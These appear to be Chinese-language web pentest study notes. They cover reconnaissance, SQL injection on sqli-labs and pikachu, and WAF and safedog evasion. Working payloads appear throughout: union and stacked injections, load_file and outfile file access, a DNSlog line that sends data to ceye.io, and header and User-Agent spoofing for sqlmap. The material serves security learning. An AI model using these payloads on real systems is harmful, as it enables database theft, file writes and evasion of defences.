IP扫描扫到www目录下,域名访问只访问到www/text/。ip访问能访问到更多的信息如网站备份。
对于iis策略配置为禁止修改但可访问的可通过菜刀连接后在别的目录操作来绕过。
重要目录:后台目录、模板目录、数据库目录、数据库配置文件。
脚本类型:asp、php、aspx、jsp、javaweb、python。(目的:不同脚本数据库存储不同,解释型和编译型脚本、不同语言易出现漏洞不同。)
应用分类:门户(综合类漏洞)、电商(业务逻辑漏洞)、论坛(xss,逻辑突出)、博客(漏洞较少)、第三方(由功能决定)。
源码功能决定漏洞类型。
框架、cms、开源、.git源码泄露
源码获取途径:搜索,淘宝,第三方源码站(菜鸟源码)
oracle:1521
mysql:3306
mssql:1433
mongodb:27017
redis:6379
postgresql:5432
db2:5000
目录型访问sti.blcu和访问sti.blcu/bbs/返回的页面显示是两套系统,任一套沦陷都会导致全部沦陷。
端口型访问web.0516jz和访问web.0516jz:8080是两套系统。
旁注:同服务器不同网站
前提:对方有多个站点服务器
192.168.1.100:www.a.com和www.b.com。
C段:同网段不同服务器不同站点
192.168.1.100:www.a.com和www.b.com。
192.168.1.101:www.c.com和www.d.com。
自行搭建网站信息不会很全,但使用宝塔或phpstudy信息显示会很全。
注意server、useragent、X-powered By
工具:https://github.com/bit4woo/teemo (py2.7)
csrf:
ssrf:
目录遍历:源码结构泄露(低危)
文件读取:源码内容获取(低危)
文件下载:下载网站源码
命令执行:(高危)、对抗
xxe安全:
sql注入:主要危害数据库(高危)、ctf常见、对抗
文件上传:获取网站权限(高危)、ctf常见、对抗
xss跨站:获得网站后台权限(低危)
文件包含:(高危)、对抗
反序列化:(中危)、ctf常见
代码执行:(高危)、ctf常见、对抗
逻辑安全:(中危)、src较多
未授权访问:(高危)
靶场:pikachu
sql注入产生原理:可控变量、带入数据库查询、变量未存在过滤或过滤不严。
ex:inurl:.php?page=
如何判断注入点:
老方法:
and 1=1 正常
and 1=2 错误
新方法:
1 正常
1丧失 错误
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
查所有数据库名:id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
注意查询别的数据库数据时使用:qqwy.admin
常用函数:load_file(‘$PATH’)
获取路径:select load_file('C:/11.txt');
读取文件列表:
写入文件:select ‘x’ into outfile 'D:/www.txt';
将‘x’写入D:/www.txt文件中
获取路径的常见方法:
报错显示、遗留文件、漏洞报错、平台配置文件、爆破
写入文件条件:关闭magic_quotes_gpc
,当开启时可使用编码的方法绕过。
过滤函数:is_int($id)
insert:插入数据
update:更新数据
delete:删除数据
语句需要闭合sql语句,自身不用闭合
oracle和mongodb:
access数据库:一站一库。在网站源码里。只有表名、列名、数据。
常用报错函数:
https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c
原理:用于表名知道,列名无法获取的情况下。
说明了admin表下有6个字段;
用"*"代表 admin 表的字段数,计算*代替字符的位数。
基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
一级偏移语句:127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,可以二级偏移:
二级偏移语句:127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
url中有id=WQ==的则测试提交时需要编码在提交
无法通过工具手工发现,通常见于源码
原理:分为两步:第一步插入恶意数据;第二步引用恶意数据。
步骤:输入’1’(寻找插入数据库并进行转义的操作)–>转义为’\1’–>进入数据库还原为’1’–>寻找另一处引用的操作–>将’1’取出–>取出后直接给变量并带入sql–>触发sql
sqllibs/less-24/
先新建用户admin’#密码123456
再修改admin’#的密码为admin。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=''
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
这样admin的密码被修改成了admin
sqllibs/less-21/
在放了第一个post包后会抓到一个get包
将cookie编码
http://ceye.io/
DNSlog的好处是解决了盲注没有回显的问题:
id=1' and if ((select load_file(concat('\\\\',(select version()),'.1t7i2f.ceye.io\\abc'))),0,1)--+
注:.1t7i2f.ceye.io\abc是http://ceye.io/注册后的key。
用工具注入:DnsLogSqlinj
sqlmap注入遇到base64加密:
sqlmap -u’http://url/id=WE=’ --tamper base64encode.py --dbs
有些base64注入麻烦可中转一下这样直接测试test.php?x=1即可不必转换进制。
python sqlmap.py -u "http:/127.0.0.1/text.php?x=
即多条语句一起执行。
select * from users where id='1';select * from email;
堆叠注入的局限性:可能受到api或数据库引擎的限制,可能权限不足。
执行语句:sqli/less-38/index.php?id=1';insert into users(id,username,password) values ('38','less','hello');--+
可看到数据库中新建用户less,密码hello。
内联注释:/**/
select * from users where id = -1 union/**/select 1,2,3;
select * from users where id = -1/*%0a*/ union/*%0a*/ select/*%0a*/ 1,2,3;
?id=1/**&id=-1 union select 1,2,3#*/
由于参数污染在绕过waf后会变为select * from users where id=-1 union select 1,2,3#*/ limit 0,1
/*!50001 select * from test */
当数据库版本高于50001时执行select * from test
从网络层获取ip无法伪造。
从客户端获取ip可能存在伪造。
测试方法:
修改http的header来bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip
特定静态资源后缀请求。常见静态文件(.js,.jpg,.swf,.css),waf为了检测效率不会检测这样一些静态文件名
当http://127.0.0.1/sqli/less-1/index.php?id=1
变为http://127.0.0.1/sqli/less-1/index.php/x.txt?id=1
时页面无变化。
部分waf有白名单,如/admin.php,/system.php等管理后台。只要url中有字符串就作为白名单不检测。
http://127.0.0.1/sqli/less-1/index.php/admin.php?id=1
部分waf允许爬虫 ,不对爬虫检测。可伪造为允许的爬虫。
在tamper目录下
https://blog.csdn.net/qq_34444097/article/details/82717357
https://blog.csdn.net/m0_37438418/article/details/79491010
还需注意sqlmap提交的数据包user-Agent出现了sqlmap字样。安全狗会拦截sqlmap工具
需要自己改,可以使用-–user-anget
参数来修改,同时也可以使用-–random-agnet
参数来随机的从./txt/user-agents.txt
中获取。
当–level
参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
即便如此还有可能被拦截。
搜索“搜索引擎爬虫 http 指纹头”
https://blog.csdn.net/zyh_1988/article/details/51360261
也可直接更改Agent头信息
打开sql目录下的\lib\core\option.py
翻到def _defaultHTTPUserAgent()函数
找到函数末尾把:return “%s (%s)” % (VERSION_STRING, SITE)
修改为: return “Googlebot/2.1 (+http://www.google.com/bot.html)”
--delay 1
sqlmap注入本地的脚本地址–>本地搭建脚本(请求远程地址,数据包自定义)–>远程地址
php自定义http头
PHP发送HTTP请求的6种方法
fuzz不是技术是思路。通过编写脚本进行批量测试。